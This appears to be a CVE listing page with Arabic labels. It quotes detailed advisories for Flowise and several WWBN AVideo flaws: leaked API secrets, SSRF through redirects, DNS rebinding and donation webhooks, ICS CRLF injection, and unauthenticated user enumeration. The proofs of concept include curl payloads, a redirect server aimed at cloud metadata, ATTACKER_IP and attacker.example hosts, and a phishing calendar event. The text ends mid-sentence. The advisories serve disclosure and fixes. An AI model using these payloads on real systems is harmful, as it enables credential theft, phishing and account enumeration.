CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

المراجع

https://gist.github.com/YLChen-007/1d52497b0221835f99367be61612746b
https://vuldb.com/submit/777659
https://vuldb.com/vuln/361276
https://vuldb.com/vuln/361276/cti

🟢 CVE-2026-8026

3.7/10 منخفضة

📦 flowise 🏢 flowiseai 📌 3.0.12 🎬 وسائط ⚡ Info Disclosure 🎯 عن بعد ⚪ لم تُستغل

💬 A security flaw has been discovered in FlowiseAI Flowise up to 3.0.12. Affected is the function Login of the file packages/server/src/enterprise/services/account.service.ts of the component API Response Handler. The manipulation results in information disclosure. The attack can b...

📅 2026-05-06 NVD 🔗 التفاصيل

الوصف الكامل

A security flaw has been discovered in FlowiseAI Flowise up to 3.0.12. Affected is the function Login of the file packages/server/src/enterprise/services/account.service.ts of the component API Response Handler. The manipulation results in information disclosure. The attack can be launched remotely. A high complexity level is associated with this attack. The exploitability is told to be difficult. You should upgrade the affected component.

الإصدارات المتأثرة

3.0.12

نوع الثغرة

CWE-200 — Info Disclosure

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

المراجع

https://gist.github.com/YLChen-007/50a553f09aa1c7c04ce18cec13986a91
https://vuldb.com/submit/777656
https://vuldb.com/vuln/361273
https://vuldb.com/vuln/361273/cti

🟠 CVE-2026-43885

عالية

📦 wwbn/avideo 📌 10.4, 10.8, 11, 11.1, 11.1.1 🎬 وسائط 🐘 مكتبة PHP Packagist ⚡ Info Disclosure 🎯 عن بعد ⚪ لم تُستغل

💬 ### Summary An unauthenticated user can read `APISecret` from `objects/plugins.json.php` and use it to call protected API endpoints (e.g. `users_list`) without logging in. ### Details `objects/plugins.json.php` is public and still exposes plugin `object_data` containing ...

📅 2026-05-05 OSV/Packagist 🔗 التفاصيل

الوصف الكامل

### Summary An unauthenticated user can read `APISecret` from `objects/plugins.json.php` and use it to call protected API endpoints (e.g. `users_list`) without logging in. ### Details `objects/plugins.json.php` is public and still exposes plugin `object_data` containing `APISecret`. That secret is accepted by `plugin/API/get.json.php` as authentication. ### PoC 1. Get plugin config (contains `APISecret`): ```bash curl 'http://<host>/objects/plugins.json.php' ``` <img width="879" height="94" alt="image" src="https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-ad12345e88eb" /> 2. Copy APISecret from response, then call API directly: ```bash curl --get 'http://<host>/plugin/API/get.json.php' \ --data-urlencode 'APIName=users_list' \ --data-urlencode 'APISecret=<APISecret>' \ --data-urlencode 'rowCount=3' \ --data-urlencode 'current=1' ``` <img width="1719" height="170" alt="image" src="https://github.com/user-attachments/assets/edd629be-e75c-40a2-a52f-2f2e6da99b79" /> ### Impact Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data. ### Recommended fix Requiring admin auth for full plugin inventory/config endpoint.

الإصدارات المتأثرة

10.4, 10.8, 11, 11.1, 11.1.1

نوع الثغرة

CWE-200 — Info Disclosure

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

المراجع

https://github.com/WWBN/AVideo/security/advisories/GHSA-xr49-f4rh-qcjf
https://github.com/WWBN/AVideo/commit/1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b
https://github.com/WWBN/AVideo

🟠 CVE-2026-43884

عالية

📦 wwbn/avideo 📌 10.4, 10.8, 11, 11.1, 11.1.1 🎬 وسائط 🐘 مكتبة PHP Packagist ⚡ SSRF 🎯 عن بعد ⚪ لم تُستغل

💬 ### Summary Two endpoints in AVideo call `isSSRFSafeURL()` to validate user-supplied URLs, then fetch them using bare `file_get_contents()` **without disabling PHP's automatic redirect following**. An attacker can supply a URL pointing to a server they control that returns a 302...

📅 2026-05-05 OSV/Packagist 🔗 التفاصيل

الوصف الكامل

### Summary Two endpoints in AVideo call `isSSRFSafeURL()` to validate user-supplied URLs, then fetch them using bare `file_get_contents()` **without disabling PHP's automatic redirect following**. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., `http://169.254.169.254/latest/meta-data/`). Since `isSSRFSafeURL()` only validates the *initial* URL, the redirect target bypasses all SSRF protections. A secondary finding is that 6+ callers of `isSSRFSafeURL()` discard the `$resolvedIP` out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks. **Severity:** High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) ### Details #### Finding 1: Redirect-Based SSRF Bypass **Vulnerable code — `plugin/AI/receiveAsync.json.php` (line ~162–165):** ```php // SSRF Protection: Validate URL before fetching if (!isSSRFSafeURL($imageUrl)) { // blocked } else { $imageContent = file_get_contents($imageUrl); // ← FOLLOWS REDIRECTS! } ``` **Vulnerable code — `objects/EpgParser.php` (line ~358–362):** ```php if (!isSSRFSafeURL($this->url)) { throw new \RuntimeException('URL blocked by SSRF protection'); } $this->content = @file_get_contents($this->url); // ← FOLLOWS REDIRECTS! ``` **Safe code for comparison — `objects/functions.php`, `url_get_contents()`:** ```php $opts = ['http' => ['follow_location' => 0]]; // Disable auto-redirect $context = stream_context_create($opts); for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) { $fetched = file_get_contents($currentUrl, false, $context); // ... parse Location header ... if ($redirectTarget) { if (!isSSRFSafeURL($redirectTarget)) { // Re-validates EACH hop return false; } $currentUrl = $redirectTarget; continue; } $tmp = $fetched; break; } ``` **Root cause:** The SSRF redirect protection (`follow_location=0` + manual redirect loop with per-hop `isSSRFSafeURL()` re-validation) was correctly implemented in `url_get_contents()` but NOT propagated to these two endpoints that call `file_get_contents()` directly. PHP's default `follow_location` is `1` (follow redirects). #### Finding 2: DNS Rebinding TOCTOU (Multiple Callers) `isSSRFSafeURL()` provides a `$resolvedIP` out-parameter for DNS pinning via `CURLOPT_RESOLVE`. Only 1 of 9 callers (`plugin/LiveLinks/proxy.php`) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0). **Affected callers (no DNS pinning):** - `objects/aVideoEncoderReceiveImage.json.php` — 4 call sites - `objects/aVideoEncoder.json.php` — 1 call site - `plugin/BulkEmbed/save.json.php` — 1 call site - `plugin/AI/receiveAsync.json.php` — 1 call site - `objects/EpgParser.php` — 1 call site - `plugin/Scheduler/Scheduler.php` — 1 call site ### PoC #### Redirect Bypass PoC 1. Attacker runs an HTTP server that returns a 302 redirect: ```python from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/") self.end_headers() HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever() ``` 2. Attacker triggers AI image generation and intercepts the callback: ``` POST /plugin/AI/receiveAsync.json.php Content-Type: application/x-www-form-urlencoded type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir ``` 3. `isSSRFSafeURL("http://ATTACKER_IP:8888/redir")` resolves attacker IP → public → **passes** 4. `file_get_contents("http://ATTACKER_IP:8888/redir")` follows 302 to `http://169.254.169.254/...` — **no SSRF re-check occurs** 5. Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker **Control test:** Replace the redirect target with a legitimate public URL — `isSSRFSafeURL()` passes and the content is fetched normally, confirming the function works for non-malicious URLs. #### DNS Rebinding PoC 1. Configure a domain with TTL=0 DNS that alternates: - First query: public IP (passes `isSSRFSafeURL`) - Second query: `127.0.0.1` (reaches internal services) 2. Submit `http://rebind.attacker.com/image.jpg` to any affected endpoint 3. `isSSRFSafeURL()` resolves → public IP → passes (discards `$resolvedIP`) 4. `url_get_contents()` / `file_get_contents()` resolves again → `127.0.0.1` → SSRF achieved ### Impact An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including: - **Cloud metadata endpoints** (169.254.169.254) — exfiltrate IAM credentials, instance identity - **Internal services** on localhost or private network (databases, admin panels, monitoring) - **Port scanning** of the internal network using the server as a proxy The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface. ### Suggested Fix **Fix 1 (Redirect bypass — immediate):** Route both affected files through `url_get_contents()` which already handles redirects safely, or add explicit no-redirect context: ```php $ctx = stream_context_create(['http' => ['follow_location' => 0]]); $imageContent = file_get_contents($imageUrl, false, $ctx); ``` **Fix 2 (DNS rebinding — defense-in-depth):** Update all callers to capture `$resolvedIP` and pass it to a DNS-pinning-aware fetch function using `CURLOPT_RESOLVE`. ### Credit Kai Aizen <kai.aizen.dev@gmail.com>

الإصدارات المتأثرة

10.4, 10.8, 11, 11.1, 11.1.1

نوع الثغرة

CWE-918 — SSRF

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

المراجع

https://github.com/WWBN/AVideo/security/advisories/GHSA-2hch-c97c-g99x
https://github.com/WWBN/AVideo/commit/603e7bf77a835584387327e35560262feb075db3
https://github.com/WWBN/AVideo

⚪ CVE-2026-43882

غير محدد

📦 wwbn/avideo 📌 10.4, 10.8, 11, 11.1, 11.1.1 🎬 وسائط 🐘 مكتبة PHP Packagist ⚡ CWE-93 🎯 عن بعد ⚪ لم تُستغل

💬 ## Summary The unauthenticated `plugin/Scheduler/downloadICS.php` endpoint passes attacker-controlled `title`, `description`, and `joinURL` parameters into `Scheduler::downloadICS()`, which builds an ICS calendar file via the `ICS` helper class. `ICS::escape_string()` (`objects/...

📅 2026-05-05 OSV/Packagist 🔗 التفاصيل

الوصف الكامل

## Summary The unauthenticated `plugin/Scheduler/downloadICS.php` endpoint passes attacker-controlled `title`, `description`, and `joinURL` parameters into `Scheduler::downloadICS()`, which builds an ICS calendar file via the `ICS` helper class. `ICS::escape_string()` (`objects/ICS.php:167-169`) only escapes `,` and `;` and does NOT neutralize CR/LF, so attacker CRLF bytes inside a property value break out and inject arbitrary ICS lines — including `END:VEVENT` / `BEGIN:VEVENT` pairs that add entire attacker-controlled calendar events. Because the malicious `.ics` file is served from the victim's trusted AVideo origin, this enables high-credibility calendar phishing: forged meetings with attacker-chosen `SUMMARY`, `URL`, `LOCATION`, and `DESCRIPTION` landing in the victim's calendar after import. ## Details ### Vulnerable code path **`plugin/Scheduler/downloadICS.php`** — unauthenticated entry point: ```php if(!AVideoPlugin::isEnabledByName('Scheduler')){ forbiddenPage('Scheduler is disabled'); } if(empty($_REQUEST['title'])){ forbiddenPage('Title cannot be empty'); } if(empty($_REQUEST['date_start'])){ forbiddenPage('date_start cannot be empty'); } Scheduler::downloadICS($_REQUEST['title'], $_REQUEST['date_start'], @$_REQUEST['date_end'], @$_REQUEST['reminder'], @$_REQUEST['joinURL'], @$_REQUEST['description']); ``` There is no session check, no CSRF token, no user-role check — only an empty-check on `title`/`date_start` and a plugin-enabled check. **`plugin/Scheduler/Scheduler.php:367-382`** passes inputs directly to the ICS builder: ```php $props = array( 'location' => $location, 'description' => $description, // attacker-controlled 'dtstart' => $dtstart, 'dtend' => $dtend, 'summary' => $title, // attacker-controlled 'url' => $joinURL, // attacker-controlled 'valarm' => $VALARM, ); $ics = new ICS($props); ... echo $icsString; ``` **`objects/ICS.php:167-169`** — incomplete escape: ```php private function escape_string($str) { return preg_replace('/([\,;])/','\\\$1', $str); } ``` Per RFC 5545 §3.3.11, TEXT values must also have CR/LF either folded or encoded as `\n`. This implementation does neither. `ICS::to_string()` (line 101) joins every property with `"\r\n"`, so any raw `\r\n` sequence embedded in a value breaks out of the property line and injects new ICS directives. ### Verified exploit output Running the builder with a CRLF-laden `description` produces a file with two distinct `VEVENT` blocks (the second entirely attacker-controlled): ``` BEGIN:VCALENDAR VERSION:2.0 PRODID:-//hacksw/handcal//NONSGML v1.0//EN CALSCALE:GREGORIAN BEGIN:VEVENT DESCRIPTION:Hello END:VEVENT BEGIN:VEVENT SUMMARY:Injected URL:http://attacker.com DTSTART:20260501T000000Z DTEND:20260501T130000Z SUMMARY:Legit URL;VALUE=URI:https://example.com DTSTAMP:20260424T082123Z UID:69eb2803d1aa2 END:VEVENT END:VCALENDAR ``` The injected `BEGIN:VEVENT` / `END:VEVENT` pair is standards-compliant and parsed as an additional event by Outlook, Apple Calendar, Google Calendar, and Thunderbird/Lightning. ## PoC 1. Ensure the Scheduler plugin is enabled on the target (default-shipped optional plugin, commonly enabled on streaming deployments). 2. Send an unauthenticated GET request with CRLF-encoded payload in `description`: ``` curl -o malicious.ics \ 'http://victim.example.com/plugin/Scheduler/downloadICS.php?title=Team%20Standup&date_start=2026-05-01+12:00&description=Hello%0D%0AEND:VEVENT%0D%0ABEGIN:VEVENT%0D%0ASUMMARY:URGENT%3A%20Password%20Reset%20Required%0D%0ADTSTART:20260601T090000Z%0D%0ADTEND:20260601T100000Z%0D%0AURL:http://attacker.com/phish%0D%0ALOCATION:Online%0D%0ADESCRIPTION:Please%20click%20the%20URL%20to%20confirm%20your%20identity' ``` 3. The returned file contains two `VEVENT` blocks. Import into any standards-compliant calendar client — both events appear in the victim's calendar. The injected event renders with an attacker-chosen clickable URL. Local reproduction (without needing a running server) using the same code path: ``` php -r "require 'objects/ICS.php'; \$p = ['description' => \"Hello\r\nEND:VEVENT\r\nBEGIN:VEVENT\r\nSUMMARY:Injected\r\nURL:http://attacker.com\", 'dtstart'=>'2026-05-01', 'dtend'=>'2026-05-01 13:00', 'summary'=>'Legit', 'url'=>'https://example.com']; echo (new ICS(\$p))->to_string();" ``` Produces the two-VEVENT output shown above (verified). ## Impact - **Same-origin calendar phishing.** The `.ics` is served from the trusted AVideo domain, bypassing URL-reputation checks and email-filter suspicion of attacker-hosted attachments. - **Arbitrary event spoofing.** Attacker controls `SUMMARY`, `DTSTART`, `DTEND`, `URL`, `LOCATION`, `DESCRIPTION`, and may add further ICS properties (e.g. `ORGANIZER`, `ATTENDEE`). Many mainstream calendar clients display the `URL` field as a clickable link in the event body. - **Integrity:** Low — unwanted/forged events are added to the victim's calendar after they import the file. - **Auth:** None. Precondition is only that the Scheduler plugin is enabled, which is typical on deployments that use AVideo's scheduled streaming features. - **Confidentiality / Availability:** No direct impact. Not a higher-severity response-splitting bug: PHP's `header()` blocks CRLF in response headers since 5.1.2, so the CRLF bytes do not escape into HTTP headers — only into the ICS body. ## Recommended Fix Strip or RFC-5545-encode CR/LF in `ICS::escape_string()` so newline bytes cannot break out of a property line. In `objects/ICS.php:167-169`: ```php private function escape_string($str) { // RFC 5545 §3.3.11: escape backslash, semicolon, comma; encode newlines as \n $str = str_replace(array("\\", "\r\n", "\r", "\n"), array("\\\\", "\\n", "\\n", "\\n"), $str); return preg_replace('/([\,;])/', '\\\\$1', $str); } ``` Additionally, `plugin/Scheduler/downloadICS.php` should either require authentication or at minimum apply strict input validation (length caps, character whitelists) on `title`, `description`, and `joinURL` — and `joinURL` should continue to be validated via `isValidURL()` (already done) before emission. Consider adding a defence-in-depth strip of CR/LF on every `$_REQUEST` parameter used by `Scheduler::downloadICS()`.

الإصدارات المتأثرة

10.4, 10.8, 11, 11.1, 11.1.1

نوع الثغرة

CWE-93 — CWE-93

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

المراجع

https://github.com/WWBN/AVideo/security/advisories/GHSA-mwgh-92m2-wvhv
https://github.com/WWBN/AVideo/commit/764db592f99e545aa86bb9a4ad664ffd14c38ba5
https://github.com/WWBN/AVideo

⚪ CVE-2026-43881

غير محدد

📦 wwbn/avideo 📌 10.4, 10.8, 11, 11.1, 11.1.1 🎬 وسائط 🐘 مكتبة PHP Packagist ⚡ Auth Bypass 🎯 عن بعد ⚪ لم تُستغل

💬 ## Summary `objects/users.json.php` exposes two unauthenticated paths that disclose the full set of registered user accounts. The `isCompany` request parameter causes the handler to set `$ignoreAdmin = true` for any non-admin caller (including unauthenticated visitors), which de...

📅 2026-05-05 OSV/Packagist 🔗 التفاصيل

الوصف الكامل

## Summary `objects/users.json.php` exposes two unauthenticated paths that disclose the full set of registered user accounts. The `isCompany` request parameter causes the handler to set `$ignoreAdmin = true` for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside `User::getAllUsers()`/`User::getTotalUsers()`. A second path accepts `users_id` and calls `User::getUserFromID()` directly with no permission check, producing a single-user oracle. Both paths return `id`, `identification` (display name), channel URL, `photo`, `background`, and `status`, plus the total account count. ## Details ### Root cause #1 — `isCompany` admin bypass `objects/users.json.php:13-53` (HEAD, v29.0): ```php $canAdminUsers = canAdminUsers(); // line 13 — for output filtering only ... if (!empty($_REQUEST['users_id'])) { $user = User::getUserFromID($_REQUEST['users_id']); // path #2 ... } else if (empty($_REQUEST['user_groups_id'])) { $isAdmin = null; $isCompany = null; $ignoreAdmin = canSearchUsers() ? true : false; ... if (isset($_REQUEST['isCompany'])) { // line 39 $isCompany = intval($_REQUEST['isCompany']); if (!$canAdminUsers) { if (User::isACompany()) { $isCompany = 0; } else { $isCompany = 1; } $ignoreAdmin = true; // line 47 — bypass flag } } ... $users = User::getAllUsers($ignoreAdmin, [...], @$_GET['status'], $isAdmin, $isCompany); $total = User::getTotalUsers($ignoreAdmin, @$_GET['status'], $isAdmin, $isCompany); } ``` `User::isACompany()` with no argument (`objects/user.php:1629-1646`) returns `!empty($_SESSION['user']['is_company'])`, which is `false` for unauthenticated visitors. So the anonymous-attacker branch takes the `else` arm: `$isCompany = 1; $ignoreAdmin = true;`. The admin-only guards in `User::getAllUsers()` (`objects/user.php:2315-2321`) and `User::getTotalUsers()` (`objects/user.php:2480-2484`) are now short-circuited: ```php public static function getAllUsers($ignoreAdmin = false, ...) { if (!Permissions::canAdminUsers() && !$ignoreAdmin) { // $ignoreAdmin === true → guard skipped _error_log('You are not admin and cannot list all users'); return false; } ... $sql = "SELECT * FROM users u WHERE 1=1 ..."; if (isset($isCompany)) { if (!empty($isCompany) && $isCompany == self::$is_company_status_ISACOMPANY || ...) { $sql .= " AND is_company = $isCompany "; } else { $sql .= " AND (is_company = 0 OR is_company IS NULL) "; } } ``` Note: when the attacker supplies `isCompany=0`, the `else` branch is taken because of PHP's operator precedence (`!empty($isCompany) && ...` short-circuits to false), and the SQL filter becomes `is_company = 0 OR is_company IS NULL` — i.e. **every non-company user**. Combined with the bypass, this returns the entire user table in chunks controlled by the attacker-supplied `rowCount`. ### Root cause #2 — `users_id` single-record oracle `objects/users.json.php:20-29` calls `User::getUserFromID($_REQUEST['users_id'])` with no auth check. `User::getUserFromID()` (`objects/user.php:2028-2075`) queries `SELECT * FROM users WHERE id = ?` and returns `id`, `identification`, `photo`, `background`, `status`, `channelName`, `about`, `tags`, with only `password`/`recoverPass`/PII stripped for non-admins. The handler then wraps this in the standard BootGrid envelope with `total = 1` when the user exists and `total = 0` otherwise — a perfect sequential-ID existence oracle. ### Why there is no blocking mitigation - No router-level auth: the `.htaccess` rewrite (`.htaccess:317`) maps `/users.json` directly to this file. - No CSRF/origin gate: the file is explicitly listed in `objects/functionsSecurity.php:893` under “Read-only endpoints that accept POST params”, meaning the same-origin/CSRF middleware is skipped by design. - The output-filter block (`objects/users.json.php:66-77`) only limits **which** fields are echoed — it does not suppress existence or display-name leakage, and `total` is always echoed on line 97. - `rowCount` is attacker-controlled with no upper bound (line 17-18 only sets a default of 10). ## PoC Target: a default AVideo 29.0 install at `http://target/`. No session cookie, no CSRF token, no API key required. ### Path 1 — bulk listing via `isCompany` admin-check bypass ``` $ curl -s 'http://target/objects/users.json.php?isCompany=0&rowCount=1000&current=1' {"current":1,"rowCount":1000,"total":42,"rows":[ {"id":"1","identification":"admin","photo":"https://target/videos/userPhoto/photo1.png", "background":"https://target/...","status":"a","creator":"<div ...channel URL...>"}, {"id":"2","identification":"alice",...,"status":"a",...}, ... ]} ``` The same call with `isCompany=1` returns the subset of company-flagged users; `isCompany=0` returns all non-company users. Both branches set `$ignoreAdmin = true`. ### Path 2 — sequential-ID existence / display-name oracle ``` $ for i in $(seq 1 10000); do curl -s "http://target/objects/users.json.php?users_id=$i" \ | jq -r '[.total, .rows[0].id, .rows[0].identification, .rows[0].status] | @tsv' done 1 1 admin a 1 2 alice a 0 null null null 1 4 bob i ... ``` `total=1` → ID exists; `identification` field leaks the login/display name; `status` reveals active (`a`) vs inactive (`i`). ### Verification of the branch logic ```php // Reproduces objects/users.json.php:39-48 for an unauthenticated attacker. $canAdminUsers = false; $ignoreAdmin = false; $_SESSION = []; // unauthenticated $_REQUEST = ['isCompany' => '1']; if (isset($_REQUEST['isCompany'])) { $isCompany = intval($_REQUEST['isCompany']); if (!$canAdminUsers) { $isACompany = !empty($_SESSION['user']['is_company']); // false $isCompany = $isACompany ? 0 : 1; $ignoreAdmin = true; } } var_dump($isCompany, $ignoreAdmin); // int(1) bool(true) → admin guard SKIPPED ``` ## Impact An unauthenticated remote attacker can: - Enumerate every user account on the platform (display names, numeric IDs, channel URLs/usernames, active/inactive status, profile photo/background URLs). - Obtain the total registered-user count, useful for platform sizing and post-compromise reporting. - Build a targeted username list for credential stuffing, password spraying, or phishing against AVideo’s login/password-recovery endpoints. - Cross-reference leaked display names against the known password-recovery oracle to identify valid targets. No auth is required, the request is a single unauthenticated `GET`, and `rowCount` is unbounded, so the full user list can be harvested in one request. ## Recommended Fix 1. Require authentication at the top of `objects/users.json.php`, and gate the bulk-listing path to users who legitimately need to search: ```php require_once $global['systemRootPath'] . 'objects/user.php'; User::loginCheck(); // reject anonymous callers if (!canSearchUsers()) { header('HTTP/1.1 403 Forbidden'); die('{"error":"forbidden"}'); } ``` 2. Remove the `isCompany`-driven `$ignoreAdmin = true` branch (users.json.php:41-48). It served no purpose that the explicit `canSearchUsers()` check above does not already cover, and its only observable effect is the bypass described here. 3. Gate the `users_id` path behind the same check, or restrict its output to the caller’s own record when the caller is not an admin: ```php if (!empty($_REQUEST['users_id'])) { $requestedId = intval($_REQUEST['users_id']); if (!canSearchUsers() && $requestedId !== User::getId()) { header('HTTP/1.1 403 Forbidden'); die('{"error":"forbidden"}'); } $user = User::getUserFromID($requestedId); ... } ``` 4. Consider clamping `$_REQUEST['rowCount']` to a sane ceiling (e.g. 100) and removing `objects/users.json.php` from the CSRF-bypass list in `objects/functionsSecurity.php:893` unless there is a specific mobile-client requirement — and if there is, route it through an authenticated API token instead of making the endpoint anonymously reachable.

الإصدارات المتأثرة

10.4, 10.8, 11, 11.1, 11.1.1

نوع الثغرة

CWE-306 — Auth Bypass

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

المراجع

https://github.com/WWBN/AVideo/security/advisories/GHSA-6rvw-7p8v-mjfq
https://github.com/WWBN/AVideo/commit/d9cdc702481a626b15f814f6093f1e2a9c20d375
https://github.com/WWBN/AVideo

⚪ CVE-2026-43879

غير محدد

📦 wwbn/avideo 📌 10.4, 10.8, 11, 11.1, 11.1.1 🎬 وسائط 🐘 مكتبة PHP Packagist ⚡ SSRF 🎯 عن بعد ⚪ لم تُستغل

💬 ## Summary An authenticated user can configure their own donation-notification webhook URL to point at internal/loopback/metadata hosts (e.g. `http://127.0.0.1:8080/...`, `http://169.254.169.254/latest/...`, RFC1918 addresses). When any other user (including a second account own...

📅 2026-05-05 OSV/Packagist 🔗 التفاصيل

الوصف الكامل

## Summary An authenticated user can configure their own donation-notification webhook URL to point at internal/loopback/metadata hosts (e.g. `http://127.0.0.1:8080/...`, `http://169.254.169.254/latest/...`, RFC1918 addresses). When any other user (including a second account owned by the same attacker) donates even a trivial amount via `plugin/CustomizeUser/donate.json.php`, the AVideo server issues a `curl` POST to the attacker-supplied URL, resulting in a blind SSRF. The handler uses only `isValidURL()` (which is a format check) and does not call the codebase's own `isSSRFSafeURL()` helper. Additionally, `CURLOPT_FOLLOWLOCATION` is enabled with no per-hop revalidation, so even if the stored URL were validated, an HTTP 307 from an attacker-controlled host could redirect the POST to internal targets. ## Details ### Sink: unvalidated curl POST in afterDonation `plugin/YPTWallet/YPTWallet.php:1043-1099` ```php public function afterDonation($from_users_id, $how_much, $videos_id, $users_id, $extraParameters) { ... $donation_notification_url = self::getDonationNotificationURL($users_id); ... if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) { ... $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $donation_notification_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 1); curl_setopt($ch, CURLOPT_NOSIGNAL, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // line 1081 ... ob_start(); curl_exec($ch); ob_end_clean(); ``` The gate at line 1064 is `isValidURL()` only. That helper is a pure format check: `objects/functions.php:4305-4315` ```php function isValidURL($url) { if (empty($url) || !is_string($url)) { return false; } if (preg_match("/^http.*/", $url) && filter_var($url, FILTER_VALIDATE_URL)) { return true; } return false; } ``` It does not reject `http://127.0.0.1`, `http://169.254.169.254`, RFC1918 ranges, or hostnames that resolve to private IPs. The project already ships a correct SSRF guard at `objects/functions.php:4366` (`isSSRFSafeURL()`), which performs scheme allow-listing, hostname-to-IP resolution, loopback blocking, RFC1918 / link-local / metadata blocking, and IPv4-mapped IPv6 normalization. It is not used here. ### Storage path has no SSRF validation `plugin/YPTWallet/view/saveConfiguration.php:31-33` ```php if(isset($_REQUEST['donation_notification_url'])){ $obj->donation_notification_url = YPTWallet::setDonationNotificationURL(User::getId(), $_REQUEST['donation_notification_url']); } ``` `plugin/YPTWallet/YPTWallet.php:1015-1034` ```php static function setDonationNotificationURL($users_id, $url) { $url = trim($url); $url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url); $url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8'); if (strlen($url) > 2048) { ... } $user = new User($users_id); return $user->addExternalOptions('donation_notification_url', $url); } ``` No host/IP/scheme validation. A value like `http://127.0.0.1:8080/internal` contains none of `& < > " '`, so `htmlspecialchars` preserves it verbatim. ### Trigger `plugin/CustomizeUser/donate.json.php:88,108` ```php if (YPTWallet::transferBalance(User::getId(), $video->getUsers_id(), $value, ...)) { ... AVideoPlugin::afterDonation(User::getId(), $value, $videos_id, 0, $obj->extraParameters); } ... if (YPTWallet::transferBalance(User::getId(), $users_id, $value, ...)) { ... AVideoPlugin::afterDonation(User::getId(), $value, 0, $users_id, $obj->extraParameters); } ``` Donor must have wallet balance; captcha is required unless `disableCaptchaOnWalletDirectTransferDonation` is set. An attacker can use two accounts they control: the recipient configures the webhook, the donor (any balance they obtained) triggers the call with a trivial transfer. ### FOLLOWLOCATION bypass Even if `isSSRFSafeURL()` were added to the upfront check on the stored URL, `CURLOPT_FOLLOWLOCATION=true` with no per-redirect host validation allows the attacker to point the webhook at an external host they control and return HTTP 307, which preserves the POST method and forwards the body to e.g. `http://169.254.169.254/latest/...` or any RFC1918 endpoint. ### What escapes to the internal request The POST body is `http_build_query($data)` where `$data` contains `from_users_id`, `from_users_name`, `currency`, `how_much_human`, `how_much`, `message` (attacker-controlled from the donate.json.php request), `videos_id`, `users_id`, `time`, and `extraParameters`. Headers include `X-Webhook-Signature: sha256=...` and `X-Webhook-Timestamp`. The response is discarded (`ob_start` / `ob_end_clean`, return value ignored), so this is a **blind** SSRF — exfiltration must use out-of-band channels. ## PoC Prerequisites: two authenticated accounts on the target — Alice (attacker/recipient of donation) and Bob (attacker's second account with a small wallet balance). Captcha is assumed enabled (default). Step 1 — Alice stores an internal-host webhook URL. No CSRF token is required on this endpoint: ```bash curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \ --data-urlencode 'donation_notification_url=http://127.0.0.1:8080/internal/admin/action' \ --data-urlencode 'CryptoWallet=' ``` Response body includes the stored `donation_notification_url` plus Alice's `webhook_secret` (the signature is computed with Alice's own secret, so there is no cross-user signature leak). Step 2 — Start a listener on the target host to observe the blind request: ```bash # On the target server nc -lvp 8080 ``` Step 3 — Bob donates the minimum amount to Alice (captcha solved): ```bash curl -sS -b cookies_bob.txt -X POST 'https://target/plugin/CustomizeUser/donate.json.php' \ --data 'value=0.01&users_id=<alice_user_id>&message=x&captcha=<solved_value>' ``` `donate.json.php:108` calls `AVideoPlugin::afterDonation(...)`. Step 4 — Observe the netcat listener: the AVideo server issues: ``` POST /internal/admin/action HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: <AVideo UA> Content-Type: application/x-www-form-urlencoded X-Webhook-Signature: sha256=<hmac> X-Webhook-Timestamp: <epoch> Content-Length: ... from_users_id=<bob>&from_users_name=...&currency=...&how_much_human=...&how_much=0.01&message=x&videos_id=0&users_id=<alice>&time=...&extraParameters[...]=... ``` Confirmed: the vulnerable server reaches the loopback port on behalf of the attacker. Step 5 — FOLLOWLOCATION bypass. Alice registers an external URL she controls: ```bash curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \ --data-urlencode 'donation_notification_url=https://attacker.example/r' \ --data-urlencode 'CryptoWallet=' ``` Alice's web server at `attacker.example/r` responds to the POST with: ``` HTTP/1.1 307 Temporary Redirect Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` Because `CURLOPT_FOLLOWLOCATION=true` and HTTP 307 preserves method, the AVideo host re-issues the POST to the cloud metadata endpoint. This demonstrates that any future fix that only validates the stored URL (without disabling follow-redirects or validating each hop) remains bypassable. ## Impact - **Blind SSRF from authenticated low-privileged users.** An attacker reaches internal-only network resources from the AVideo server: loopback services, RFC1918 hosts on the same VPC, cloud metadata 